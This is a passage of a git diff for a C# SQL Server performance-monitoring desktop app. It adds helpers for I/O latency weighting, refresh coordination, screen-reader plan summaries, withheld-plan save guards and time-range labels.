+    /// is the full pre-filled file name; <paramref name="whatLabel"/> names the content in the error dialog;
+    /// <paramref name="withheldSubject"/> names it in the withheld sentence (#5367: "deadlock graph", "blocked process
+    /// report"; the plan viewers' own sentence says "plan").
     /// </summary>
-    public static void SaveXmlToFile(string xml, string suggestedFileName, string whatLabel)
+    public static void SaveXmlToFile(string xml, string suggestedFileName, string whatLabel, string withheldSubject)
     {
+        /* #5320: a deadlock graph or blocked process report the statement filter withheld whole is the marker, not XML.
+           Say so and write no file, the same as the plan save sites do (shared by Lite and the Darling viewer). */
+        if (WithheldPlanGuard.RefuseSave(xml, withheldSubject)) return;
+
         var dialog = new SaveFileDialog
         {
             Filter = "XML files (*.xml)|*.xml|All files (*.*)|*.*",
diff --git a/PerformanceMonitor.Ui/IoLatencyWeighting.cs b/PerformanceMonitor.Ui/IoLatencyWeighting.cs
new file mode 100644
index 0000000000..3280375f99
--- /dev/null
+++ b/PerformanceMonitor.Ui/IoLatencyWeighting.cs
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// The one-figure-per-time latency the Overview "I/O Latency ms" lane draws from several files' points. Each
+/// file's point is already a ratio (summed stall over summed operations), so the lane's figure is the I/O-weighted
+/// mean of those ratios: total stall over total operations, counting only files that had operations at that time.
+/// A plain average of the ratios counted a log file with no reads as a 0 ms read and pulled the read figure down.
+/// </summary>
+public static class IoLatencyWeighting
+{
+    /// <summary>
+    /// The latency over the files in <paramref name="points"/> that had operations: the sum of latency times
+    /// operations over the sum of operations. A file with no operations does not take part. Returns 0 when no file
+    /// had any (nothing was read, so there is nothing to average).
+    /// </summary>
+    public static double Weighted(IEnumerable<(double LatencyMs, long Operations)> points)
+    {
+        double stall = 0;
+        double operations = 0;
+        foreach (var (latencyMs, ops) in points)
+        {
+            if (ops <= 0)
+            {
+                continue;
+            }
+
+            stall += latencyMs * ops;
+            operations += ops;
+        }
+
+        return operations > 0 ? stall / operations : 0;
+    }
+}
diff --git a/PerformanceMonitor.Ui/LongQueriesEmptyText.cs b/PerformanceMonitor.Ui/LongQueriesEmptyText.cs
new file mode 100644
index 0000000000..09871a0fcf
--- /dev/null
+++ b/PerformanceMonitor.Ui/LongQueriesEmptyText.cs
@@ -0,0 +1,26 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// What the Long Queries grid says over its empty rows (Lite and the Darling Viewer). The collector is opt-in and off by
+/// default, so an empty grid on a server whose trace is off is not "no long queries ran" (the Viewer listed 21 runs of a
+/// 50 second statement on a server Lite was not tracing). The words name the switch instead of the generic "No data for
+/// the selected time range." that read as a bug.
+/// </summary>
+public static class LongQueriesEmptyText
+{
+    /// <summary>The grid's empty text: a plain "none in this window" when the trace is on, the way to turn it on when it is off.</summary>
+    /// <param name="traceEnabled">Whether the long_query_completions collector is enabled for this server.</param>
+    /// <param name="whereToTurnItOn">The app's own settings path, for example "Settings → Collector Schedules → Edit".</param>
+    public static string Text(bool traceEnabled, string whereToTurnItOn) => traceEnabled
+        ? "No long-running query completions in the selected time window."
+        : "Nothing is listed because the long-query completion trace is OFF for this server, so no completions are collected. "
+          + $"Turn it on in {whereToTurnItOn}, then tick the 'long_query_completions' Enabled box.";
+}
diff --git a/PerformanceMonitor.Ui/PlanNavigationController.cs b/PerformanceMonitor.Ui/PlanNavigationController.cs
index f4e0c628dd..28cebe3a5b 100644
--- a/PerformanceMonitor.Ui/PlanNavigationController.cs
+++ b/PerformanceMonitor.Ui/PlanNavigationController.cs
@@ -11,6 +11,7 @@
 using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Input;
+using PerformanceMonitor.PlanAnalysis;
 
 namespace PerformanceMonitor.Ui;
 
@@ -108,7 +109,8 @@ public async Task GetActualPlanAsync(string? queryText, string databaseName, str
             $"[{(string.IsNullOrEmpty(databaseName) ? "default" : databaseName)}].\n\n" +
             "Make sure you understand what the query does before proceeding.\n" +
             "The query will execute with SET STATISTICS XML ON to capture the actual plan.\n" +
-            "All data results will be discarded.",
+            "All data results will be discarded.\n\n" +
+            QueryModificationDetector.CapturedQueryNotice,
             "Get Actual Plan", MessageBoxButton.OKCancel, MessageBoxImage.Warning);
         if (confirm != MessageBoxResult.OK) return;
 
diff --git a/PerformanceMonitor.Ui/PlanNodeBorder.cs b/PerformanceMonitor.Ui/PlanNodeBorder.cs
new file mode 100644
index 0000000000..7855ded324
--- /dev/null
+++ b/PerformanceMonitor.Ui/PlanNodeBorder.cs
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Windows.Automation;
+using System.Windows.Automation.Peers;
+using System.Windows.Controls;
+using PerformanceMonitor.PlanAnalysis;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// The box that draws one operator in the plan viewer. A plain <see cref="Border"/> has no UI Automation peer, so the tooltip
+/// summary (cost, rows, warnings) that sighted users read on hover was invisible to a screen reader (walk finding D21). This
+/// subclass gives the box a peer whose name is the operator and whose help text is that summary; the on-screen tooltip is unchanged.
+/// </summary>
+internal sealed class PlanNodeBorder : Border
+{
+    protected override AutomationPeer OnCreateAutomationPeer() => new PlanNodeBorderPeer(this);
+
+    private sealed class PlanNodeBorderPeer(PlanNodeBorder owner) : FrameworkElementAutomationPeer(owner)
+    {
+        protected override string GetClassNameCore() => nameof(PlanNodeBorder);
+
+        protected override AutomationControlType GetAutomationControlTypeCore() => AutomationControlType.Group;
+
+        protected override bool IsControlElementCore() => true;
+
+        protected override bool IsContentElementCore() => true;
+    }
+
+    /// <summary>
+    /// The text a screen reader reads for an operator: the same facts as the hover tooltip, in sentences. Costs, rows (actual ones
+    /// when the plan has them), the object, and the warnings (a node's own, or for the root every distinct warning type).
+    /// </summary>
+    internal static string Summary(PlanNode node, IReadOnlyList<PlanWarning>? warnings)
+    {
+        var parts = new List<string>
+        {
+            $"Cost {node.CostPercent}% of statement ({MetricFormatter.FormatCost(node.EstimatedOperatorCost)}), subtree cost {MetricFormatter.FormatCost(node.EstimatedTotalSubtreeCost)}.",
+            node.HasActualStats
+                ? $"Estimated rows {node.EstimateRows:N1}, actual rows {node.ActualRows:N0}, actual executions {node.ActualExecutions:N0}."
+                : $"Estimated rows {node.EstimateRows:N1}."
+        };
+
+        var objectName = !string.IsNullOrEmpty(node.FullObjectName) ? node.FullObjectName : node.ObjectName;
+        if (!string.IsNullOrEmpty(objectName))
+        {
+            parts.Add($"Object {objectName}.");
+        }
+
+        var all = warnings ?? (node.HasWarnings ? node.Warnings : null);
+        if (all is { Count: > 0 })
+        {
+            var types = all.Select(w => w.WarningType).Where(t => !string.IsNullOrEmpty(t)).Distinct().ToList();
+            parts.Add($"{all.Count} {(all.Count == 1 ? "warning" : "warnings")}: {string.Join(", ", types)}.");
+        }
+
+        return string.Join(" ", parts);
+    }
+
+    /// <summary>The operator's name as the box shows it: the physical operator, and the logical one when it adds something.</summary>
+    internal static string OperatorName(PlanNode node)
+    {
+        var name = node.PhysicalOp;
+        if (node.LogicalOp != node.PhysicalOp && !string.IsNullOrEmpty(node.LogicalOp)
+            && !node.PhysicalOp.Contains(node.LogicalOp, StringComparison.OrdinalIgnoreCase))
+        {
+            name += $" ({node.LogicalOp})";
+        }
+
+        return name;
+    }
+}
diff --git a/PerformanceMonitor.Ui/PlanViewerControl.Rendering.cs b/PerformanceMonitor.Ui/PlanViewerControl.Rendering.cs
index 658ec00344..d7e0eab56d 100644
--- a/PerformanceMonitor.Ui/PlanViewerControl.Rendering.cs
+++ b/PerformanceMonitor.Ui/PlanViewerControl.Rendering.cs
@@ -9,6 +9,7 @@
 using System;
 using System.Collections.Generic;
 using System.Windows;
+using System.Windows.Automation;
 using System.Windows.Controls;
 using System.Windows.Input;
 using System.Windows.Media;
@@ -71,11 +72,11 @@ private void RenderNodes(PlanNode node, int totalWarningCount = -1)
             RenderNodes(child);
     }
 
-    private Border CreateNodeVisual(PlanNode node, int totalWarningCount = -1)
+    private PlanNodeBorder CreateNodeVisual(PlanNode node, int totalWarningCount = -1)
     {
         var isExpensive = node.IsExpensive;
 
-        var border = new Border
+        var border = new PlanNodeBorder
         {
             Width = PlanLayoutEngine.NodeWidth,
             MinHeight = PlanLayoutEngine.NodeHeightMin,
@@ -100,12 +101,17 @@ private Border CreateNodeVisual(PlanNode node, int totalWarningCount = -1)
             allWarnings.AddRange(_currentStatement.PlanWarnings);
             CollectWarnings(node, allWarnings);
             border.ToolTip = BuildNodeTooltip(node, allWarnings);
+            AutomationProperties.SetHelpText(border, PlanNodeBorder.Summary(node, allWarnings));
         }
         else
         {
             border.ToolTip = BuildNodeTooltip(node);
+            AutomationProperties.SetHelpText(border, PlanNodeBorder.Summary(node, null));
         }
 
+        // D21: a screen reader cannot read a tooltip, so the operator's name and the tooltip's summary are also its name and help text.
+        AutomationProperties.SetName(border, PlanNodeBorder.OperatorName(node));
+
         // Click to select + show properties
         border.MouseLeftButtonUp += Node_Click;
 
diff --git a/PerformanceMonitor.Ui/PlanViewerControl.xaml.cs b/PerformanceMonitor.Ui/PlanViewerControl.xaml.cs
index 24917a0589..89e157c81b 100644
--- a/PerformanceMonitor.Ui/PlanViewerControl.xaml.cs
+++ b/PerformanceMonitor.Ui/PlanViewerControl.xaml.cs
@@ -14,6 +14,7 @@
 using System.Windows.Controls;
 using System.Windows.Media;
 using Microsoft.Win32;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.PlanAnalysis;
 
 namespace PerformanceMonitor.Ui;
@@ -30,6 +31,7 @@ public partial class PlanViewerControl : UserControl
     public AnalyzerConfig? AnalyzerConfig { get; set; }
 
     private ParsedPlan? _currentPlan;
+    private bool _planWithheld;
     private PlanStatement? _currentStatement;
     private int _allStatementsCount;
     private double _zoomLevel = 1.0;
@@ -233,6 +235,22 @@ public async System.Threading.Tasks.Task LoadPlan(string planXml, string label,
         {
             QueryTextExpander.Visibility = Visibility.Collapsed;
         }
+
+        /* #5320: a plan the statement filter withheld whole is the marker, not a plan. Say so, rather than letting
+           the parser fail on it and show "The plan XML could not be read". Save refuses it with the same sentence. */
+        var withheld = WithheldPlanGuard.WithheldSentence(planXml);
+        if (withheld is not null)
+        {
+            Clear();
+            CapturedQueryText = queryText;
+            _planWithheld = true;
+            EmptyStateTitle.Text = withheld;
+            EmptyStateDetail.Visibility = Visibility.Collapsed;
+            return;
+        }
+
+        _planWithheld = false;
+
         /* Parse + analyze off the UI thread — a multi-MB showplan is two heavy passes that would
            otherwise freeze the window for seconds. Only the render below touches the UI. A refused
            or exception-terminated parse sets ParsedPlan.ParseError instead of throwing; see below. */
@@ -302,6 +320,7 @@ public void Clear()
     {
         PlanCanvas.Children.Clear();
         _currentPlan = null;
+        _planWithheld = false;
         _currentStatement = null;
         _allStatementsCount = 0;
         CapturedQueryText = null;
@@ -329,6 +348,14 @@ private static void CollectWarnings(PlanNode node, List<PlanWarning> warnings)
 
     private void SavePlan_Click(object sender, RoutedEventArgs e)
     {
+        if (_planWithheld)
+        {
+            WithheldPlanGuard.RefuseSave(SensitiveStatements.PlaceholderText);
+            return;
+        }
+
+        if (WithheldPlanGuard.RefuseSave(_currentPlan?.RawXml)) return;
+
         if (_currentPlan == null || string.IsNullOrEmpty(_currentPlan.RawXml)) return;
 
         var dialog = new SaveFileDialog
diff --git a/PerformanceMonitor.Ui/RefreshCoordinator.cs b/PerformanceMonitor.Ui/RefreshCoordinator.cs
new file mode 100644
index 0000000000..d64b5e14c5
--- /dev/null
+++ b/PerformanceMonitor.Ui/RefreshCoordinator.cs
@@ -0,0 +1,154 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>How much a refresh pass covers. A wider scope includes the narrower one.</summary>
+internal enum RefreshScope
+{
+    /// <summary>Only the visible tab's read (a tab or sub-tab switch).</summary>
+    VisibleTab = 1,
+
+    /// <summary>The visible tab's read plus the chrome around it: server clock, alert badge, status line.</summary>
+    Full = 2,
+}
+
+/// <summary>
+/// <para>One refresh pass in flight at a time, and the newest request that arrives meanwhile runs when it ends (#5371).
+/// Lite's server tab had a one-way check: the timer's refresh looked at <c>_isRefreshing</c> and bailed, but a tab
+/// switch never set it, so a timer tick that fired while a tab-switch read was still waiting started a second full
+/// refresh on top of it (the field trace ran 484 s). And the same check dropped a tab switch or time-range change
+/// that arrived during a refresh, leaving the combo on the new choice and the charts on the old one.</para>
+///
+/// <para><b>Latest wins.</b> A <see cref="RequestAsync"/> that arrives while a pass runs is remembered (only the newest;
+/// the widest scope among them, plus the scope of the pass it superseded, so a timer pass's alert badge and status
+/// are not lost when a tab switch cancels it). The running pass's token is cancelled so it can stop at its next
+/// stage boundary instead of painting a result nobody wants, and the remembered request runs once the pass returns.
+/// A pass reads the UI's selection and window at its own start, so the replay always loads whatever is selected
+/// when it begins, not what was selected when the request was made.</para>
+///
+/// <para><b>A poll does not queue.</b> <see cref="PollAsync"/> is the timer tick: when a pass is already running or
+/// remembered the data is being refreshed now, so the tick starts nothing and leaves nothing behind. (A user gesture
+/// is the opposite: it asks for a state the running pass was not started for, so it must run.)</para>
+///
+/// <para><b>Released on failure.</b> The flag is cleared in a <c>finally</c>, a pass that throws is reported through the
+/// fault callback and the loop carries on to any remembered request, so one failed read cannot wedge every refresh
+/// after it. Nothing here throws to the caller: callers are <c>async void</c> handlers.</para>
+///
+/// <para><b>Not thread-safe, deliberately.</b> Every caller is a dispatcher handler, so requests and the loop's
+/// continuations are serialised on the UI thread (the same stance as <see cref="ScopedLoadGenerations"/>).</para>
+/// </summary>
+internal sealed class RefreshCoordinator
+{
+    private readonly Func<RefreshScope, CancellationToken, Task> _pass;
+    private readonly Action<Exception> _onFault;
+
+    private bool _running;
+    private RefreshScope? _pending;
+    private CancellationTokenSource? _current;
+    private RefreshScope _currentScope;
+    private TaskCompletionSource? _drained;
+
+    /// <param name="pass">One refresh pass. It must read the selection and window when it starts, and check the token
+    /// between its stages (and before painting) so a superseded pass stops.</param>
+    /// <param name="onFault">Told about a pass that threw (anything but its own cancellation). Must not throw.</param>
+    internal RefreshCoordinator(Func<RefreshScope, CancellationToken, Task> pass, Action<Exception> onFault)
+    {
+        ArgumentNullException.ThrowIfNull(pass);
+        ArgumentNullException.ThrowIfNull(onFault);
+        _pass = pass;
+        _onFault = onFault;
+    }
+
+    /// <summary>True while a pass is running.</summary>
+    internal bool IsRunning => _running;
+
+    /// <summary>True when a request arrived during the running pass and will run when it ends.</summary>
+    internal bool HasPending => _pending is not null;
+
+    /// <summary>
+    /// A user gesture or a catch-up (tab switch, time-range change, filter change, manual refresh). Starts a pass when
+    /// idle. When one is running, remembers this request (latest wins) and supersedes the running pass. The task
+    /// completes when the whole run, replay included, has finished, so a caller that joined can still await it.
+    /// </summary>
+    internal Task RequestAsync(RefreshScope scope)
+    {
+        if (!_running)
+        {
+            return RunAsync(scope);
+        }
+
+        _pending = Widest(Widest(_pending, scope), _currentScope);
+        _current?.Cancel();
+        return _drained!.Task;
+    }
+
+    /// <summary>
+    /// The timer tick. Starts a <see cref="RefreshScope.Full"/> pass when idle; does nothing, and queues nothing, when a
+    /// pass is running or remembered.
+    /// </summary>
+    internal Task PollAsync() => _running ? _drained!.Task : RunAsync(RefreshScope.Full);
+
+    private static RefreshScope Widest(RefreshScope? a, RefreshScope b) => a.HasValue && a.Value > b ? a.Value : b;
+
+    private async Task RunAsync(RefreshScope first)
+    {
+        _running = true;
+        _drained = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var scope = first;
+        try
+        {
+            while (true)
+            {
+                using var cts = new CancellationTokenSource();
+                _current = cts;
+                _currentScope = scope;
+                _pending = null;
+
+                try
+                {
+                    await _pass(scope, cts.Token);
+                }
+                catch (OperationCanceledException) when (cts.IsCancellationRequested)
+                {
+                    /* The pass stopped because a newer request superseded it; the replay below does its work. */
+                }
+                catch (Exception ex)
+                {
+                    try
+                    {
+                        _onFault(ex);
+                    }
+                    catch (Exception)
+                    {
+                        /* The fault callback is logging; losing a log line must not strand the guard. */
+                    }
+                }
+
+                _current = null;
+                if (_pending is not { } next)
+                {
+                    break;
+                }
+
+                scope = next;
+            }
+        }
+        finally
+        {
+            _current = null;
+            _pending = null;
+            _running = false;
+            _drained.TrySetResult();
+        }
+    }
+}
diff --git a/PerformanceMonitor.Ui/ScopedLoadGenerations.cs b/PerformanceMonitor.Ui/ScopedLoadGenerations.cs
index d434d3b5b2..b3fec4d9e2 100644
--- a/PerformanceMonitor.Ui/ScopedLoadGenerations.cs
+++ b/PerformanceMonitor.Ui/ScopedLoadGenerations.cs
@@ -20,9 +20,10 @@ namespace PerformanceMonitor.Ui;
 /// scope after the store read and dropping the paint when it had moved. That is only a drop, rather than a
 /// silent loss, where something else is certain to repaint — in the Darling viewer that is the coalescing
 /// replay in <c>RefreshVisibleAsync</c> / <c>RefreshActiveInnerTabAsync</c> / <c>RefreshActiveSubTabAsync</c>,
-/// which re-runs the load and re-reads the scope at the re-entered load's own entry. Lite has no replay
-/// anywhere (#2933): its guards are bail-only, so a scope re-verify there suppresses a paint that nothing
-/// will ever redo and leaves the tab showing the previous scope's data. A generation cannot do that. The
+/// which re-runs the load and re-reads the scope at the re-entered load's own entry. Lite had no replay
+/// anywhere (#2933): its guards were bail-only, so a scope re-verify there suppresses a paint that nothing
+/// will ever redo and leaves the tab showing the previous scope's data (the server tab's main-tab loads have
+/// had one since #5371, <see cref="RefreshCoordinator"/>; the other Lite guards are still bail-only). A generation cannot do that. The
 /// only condition under which it drops is that a newer load for the same surface has already started, so
 /// the surface always has a live writer, and the writer with the highest generation always paints.</para>
 ///
diff --git a/PerformanceMonitor.Ui/ServerOverviewFilter.cs b/PerformanceMonitor.Ui/ServerOverviewFilter.cs
index 08be4420f8..5416a8a540 100644
--- a/PerformanceMonitor.Ui/ServerOverviewFilter.cs
+++ b/PerformanceMonitor.Ui/ServerOverviewFilter.cs
@@ -19,6 +19,13 @@ namespace PerformanceMonitor.Ui;
 /// </summary>
 public static class ServerOverviewFilter
 {
+    /// <summary>
+    /// The line both apps show when a search matched no Overview card (#5352). One sentence in one place so
+    /// Lite and the viewer cannot drift, and so the viewer's "all N servers are healthy" all-clear is never
+    /// the thing on screen when the search is what emptied the grid.
+    /// </summary>
+    public const string NoMatchText = "No server matches the search.";
+
     /// <summary>
     /// Normalises a raw search-box value: trimmed, with empty/whitespace collapsed to null — the "no
     /// filter, everything matches" sentinel. Callers store the result so an empty box is cheap (no
diff --git a/PerformanceMonitor.Ui/TagColorPalette.cs b/PerformanceMonitor.Ui/TagColorPalette.cs
index 83a256bb65..00fc03fcd9 100644
--- a/PerformanceMonitor.Ui/TagColorPalette.cs
+++ b/PerformanceMonitor.Ui/TagColorPalette.cs
@@ -6,74 +6,25 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
-using System;
 using System.Collections.Generic;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitor.Ui;
 
 /// <summary>
-/// The fixed server-tag colour palette (#2008 stage 2a) and the deterministic tag → colour assignment.
-/// Pure and WPF-free (hex strings only; each surface turns a hex into its own brush), so it is unit-testable
-/// and can be shared when tags reach Lite. The swatches are mid-tone saturated colours chosen to read under
-/// a constant light pill label (#E4E6EB) in BOTH the light and dark viewer themes, so a tag's pill looks the
-/// same whichever theme is active — that is the "theme-safe" requirement, and it is why the palette is a
-/// fixed set rather than theme-keyed brushes (which would have to diverge per theme and trip the parity guard).
-/// <para><see cref="ForTagId"/> rotates by tag id, NOT randomly: re-creating the same tags in the same order
-/// yields the same colours, and a tag keeps its colour for life because its id never changes.</para>
+/// The fixed server-tag colour palette (#2008 stage 2a) as the WPF surfaces know it. The palette and the
+/// tag → colour rule live in <see cref="TagColours"/> (Common), shared with the service and the MCP tools;
+/// this class forwards each member so the viewer's call sites and the existing pins are unchanged.
 /// </summary>
 public static class TagColorPalette
 {
-    /// <summary>The palette, as <c>#RRGGBB</c> strings. Order is the rotation order for <see cref="ForTagId"/>
-    /// and the order the colour picker presents the swatches.</summary>
-    public static readonly IReadOnlyList<string> Swatches = new[]
-    {
-        "#B5484A", // red
-        "#BE6C3C", // orange
-        "#8F7A2E", // gold
-        "#4B8B57", // green
-        "#2F8080", // teal
-        "#416FA6", // blue
-        "#7C5299", // purple
-        "#A85286", // magenta
-    };
+    /// <summary>The palette, as <c>#RRGGBB</c> strings. See <see cref="TagColours.Swatches"/>.</summary>
+    public static IReadOnlyList<string> Swatches => TagColours.Swatches;
 
-    /// <summary>
-    /// The palette colour a newly-created tag is assigned, rotated by its id so the choice is stable and
-    /// reproducible (id 1 → the second swatch, wrapping by the palette length). Ids are the store's positive
-    /// IDENTITY values; the modulo is written to stay in range for any non-negative id.
-    /// </summary>
-    public static string ForTagId(int id)
-    {
-        var count = Swatches.Count;
-        var index = ((id % count) + count) % count;
-        return Swatches[index];
-    }
+    /// <summary>The palette colour a newly-created tag is assigned. See <see cref="TagColours.ForTagId"/>.</summary>
+    public static string ForTagId(int id) => TagColours.ForTagId(id);
 
-    /// <summary>
-    /// Whether <paramref name="colour"/> is a value this palette layer would store — a 7-char <c>#RRGGBB</c>
-    /// hex. Null/empty is valid too (the "no colour, neutral pill" state); this rejects only malformed text,
-    /// so a hand-edited store value can't reach a brush parser as garbage.
-    /// </summary>
-    public static bool IsValidStoredColour(string? colour)
-    {
-        if (string.IsNullOrEmpty(colour))
-        {
-            return true;
-        }
-
-        if (colour.Length != 7 || colour[0] != '#')
-        {
-            return false;
-        }
-
-        for (var i = 1; i < colour.Length; i++)
-        {
-            if (!Uri.IsHexDigit(colour[i]))
-            {
-                return false;
-            }
-        }
-
-        return true;
-    }
+    /// <summary>Whether a stored colour is a <c>#RRGGBB</c> hex (null/empty is valid). See
+    /// <see cref="TagColours.IsValidStoredColour"/>.</summary>
+    public static bool IsValidStoredColour(string? colour) => TagColours.IsValidStoredColour(colour);
 }
diff --git a/PerformanceMonitor.Ui/TimeColumnTitle.cs b/PerformanceMonitor.Ui/TimeColumnTitle.cs
new file mode 100644
index 0000000000..c7e4fbf00a
--- /dev/null
+++ b/PerformanceMonitor.Ui/TimeColumnTitle.cs
@@ -0,0 +1,27 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Ui
+{
+    /// <summary>
+    /// The header of a grid column that prints times in the "Show timestamps in" choice (D5 of the final walk): the
+    /// column's name plus the clock it reads on, so a list that mixes servers says how its times are to be read.
+    /// Pure, so a unit test names the mode instead of setting the process-wide one.
+    /// </summary>
+    public static class TimeColumnTitle
+    {
+        /// <summary>"Time (UTC)", "Time (local)" or "Time (server)". In Server mode every row reads on ITS server's
+        /// own clock, so a list of several servers shows each server's hour, and the header says so.</summary>
+        public static string For(string name, TimeDisplayMode mode) => mode switch
+        {
+            TimeDisplayMode.UTC => name + " (UTC)",
+            TimeDisplayMode.LocalTime => name + " (local)",
+            _ => name + " (server)",
+        };
+    }
+}
diff --git a/PerformanceMonitor.Ui/TimeRange/ResolvedTimeRange.cs b/PerformanceMonitor.Ui/TimeRange/ResolvedTimeRange.cs
new file mode 100644
index 0000000000..b49aa130d6
--- /dev/null
+++ b/PerformanceMonitor.Ui/TimeRange/ResolvedTimeRange.cs
@@ -0,0 +1,109 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// A <see cref="TimeRangeSpec"/> pinned to a now and a display zone (#5562): the naive-UTC start and end a tab
+/// reads, whether the end slides with now, and the one-line label the picker shows. Immutable; a live range is
+/// re-resolved (<see cref="TimeRangeSpec.TryResolve"/>) on each refresh.
+/// </summary>
+public sealed class ResolvedTimeRange
+{
+    internal ResolvedTimeRange(TimeRangeSpec spec, DateTime startUtc, DateTime endUtc, bool isLive, TimeZoneInfo zone, DateTime nowUtc)
+    {
+        Spec = spec;
+        StartUtc = startUtc;
+        EndUtc = endUtc;
+        IsLive = isLive;
+        Zone = zone;
+        NowUtc = nowUtc;
+    }
+
+    /// <summary>The range as named.</summary>
+    public TimeRangeSpec Spec { get; }
+
+    /// <summary>The first instant, naive UTC.</summary>
+    public DateTime StartUtc { get; }
+
+    /// <summary>The last instant, naive UTC. For a live range this is the now it was resolved at.</summary>
+    public DateTime EndUtc { get; }
+
+    /// <summary>True when the end slides with now: a relative range, Today and the to-date periods, and "since".</summary>
+    public bool IsLive { get; }
+
+    /// <summary>The display zone the range was resolved in.</summary>
+    public TimeZoneInfo Zone { get; }
+
+    /// <summary>The now the range was resolved at, naive UTC.</summary>
+    public DateTime NowUtc { get; }
+
+    /// <summary>The length of the range.</summary>
+    public TimeSpan Span => EndUtc - StartUtc;
+
+    /// <summary>The length as the picker words it ("3d", "7h 1m", "45m").</summary>
+    public string Length => TimeRangeSpec.FormatLength(Span);
+
+    /// <summary>The start as text in the display zone: "Oct 5, 12:00 am" (the year too when a bound is not in now's year).</summary>
+    public string StartText => FormatBound(StartUtc, includeSeconds: Spec.Kind == TimeRangeKind.Fixed);
+
+    /// <summary>The end as text in the display zone, like <see cref="StartText"/>.</summary>
+    public string EndText => FormatBound(EndUtc, includeSeconds: Spec.Kind == TimeRangeKind.Fixed);
+
+    /// <summary>
+    /// The zone as the label words it: "UTC-04:00", or "UTC-05:00 to UTC-04:00" when a daylight saving change
+    /// falls between the two ends.
+    /// </summary>
+    public string ZoneText
+    {
+        get
+        {
+            var a = "UTC" + DisplayZone.UtcOffsetText(StartUtc, Zone);
+            var b = "UTC" + DisplayZone.UtcOffsetText(EndUtc, Zone);
+            return a == b ? a : a + " to " + b;
+        }
+    }
+
+    /// <summary>The one line the picker shows and the parser echoes: "3d  Oct 5, 12:00 am - Oct 8, 7:01 am (UTC-04:00)".</summary>
+    public string Label => Length + "  " + StartText + " - " + EndText + " (" + ZoneText + ")";
+
+    /// <summary>
+    /// A moment as the picker prints it: month, day, 12-hour clock with lower-case am/pm, the year when this
+    /// range touches a year other than now's, and the UTC offset after a wall time that happens twice.
+    /// </summary>
+    internal string FormatBound(DateTime utc, bool includeSeconds)
+    {
+        var wall = DisplayZone.ToDisplay(utc, Zone);
+        var wallNow = DisplayZone.ToDisplay(NowUtc, Zone);
+        var showYear = DisplayZone.ToDisplay(StartUtc, Zone).Year != wallNow.Year || DisplayZone.ToDisplay(EndUtc, Zone).Year != wallNow.Year;
+        var text = TimeRangeFormat.Wall(wall, showYear, includeSeconds);
+        var suffix = DisplayZone.AmbiguousOffsetSuffix(utc, Zone);
+        return suffix is null ? text : text + " " + suffix;
+    }
+}
+
+/// <summary>The text forms the picker shares with the web module, so the shared fixture can pin them.</summary>
+internal static class TimeRangeFormat
+{
+    /// <summary>"Oct 5, 12:00 am", "Oct 5, 2025, 12:00 am", with ":ss" when asked and the seconds are not zero.</summary>
+    internal static string Wall(DateTime wall, bool showYear, bool includeSeconds)
+    {
+        var hour12 = wall.Hour % 12 == 0 ? 12 : wall.Hour % 12;
+        var clock = hour12.ToString(CultureInfo.InvariantCulture) + ":" + wall.Minute.ToString("00", CultureInfo.InvariantCulture);
+        if (includeSeconds && wall.Second != 0)
+        {
+            clock += ":" + wall.Second.ToString("00", CultureInfo.InvariantCulture);
+        }
+
+        var day = wall.ToString(showYear ? "MMM d, yyyy" : "MMM d", CultureInfo.InvariantCulture);
+        return day + ", " + clock + (wall.Hour < 12 ? " am" : " pm");
+    }
+}
diff --git a/PerformanceMonitor.Ui/TimeRange/RollingUnitRule.cs b/PerformanceMonitor.Ui/TimeRange/RollingUnitRule.cs
new file mode 100644
index 0000000000..f4546f978c
--- /dev/null
+++ b/PerformanceMonitor.Ui/TimeRange/RollingUnitRule.cs
@@ -0,0 +1,53 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// Which ranges a "rolling only" picker admits (#5562 R5). A read that takes "N hours (or days) back from now" can
+/// honor only a length counted back from now, in whole units, of at least one unit. A calendar period, a fixed range
+/// or a "since" range would read through now, and 90 minutes would read as 2 hours, so the picker must never offer
+/// them. Pure, so a test pins the rule without a window.
+/// </summary>
+public static class RollingUnitRule
+{
+    /// <summary>The one hour unit of the FinOps lists.</summary>
+    public static readonly TimeSpan Hour = TimeSpan.FromHours(1);
+
+    /// <summary>The one day unit of the FinOps object heatmap.</summary>
+    public static readonly TimeSpan Day = TimeSpan.FromDays(1);
+
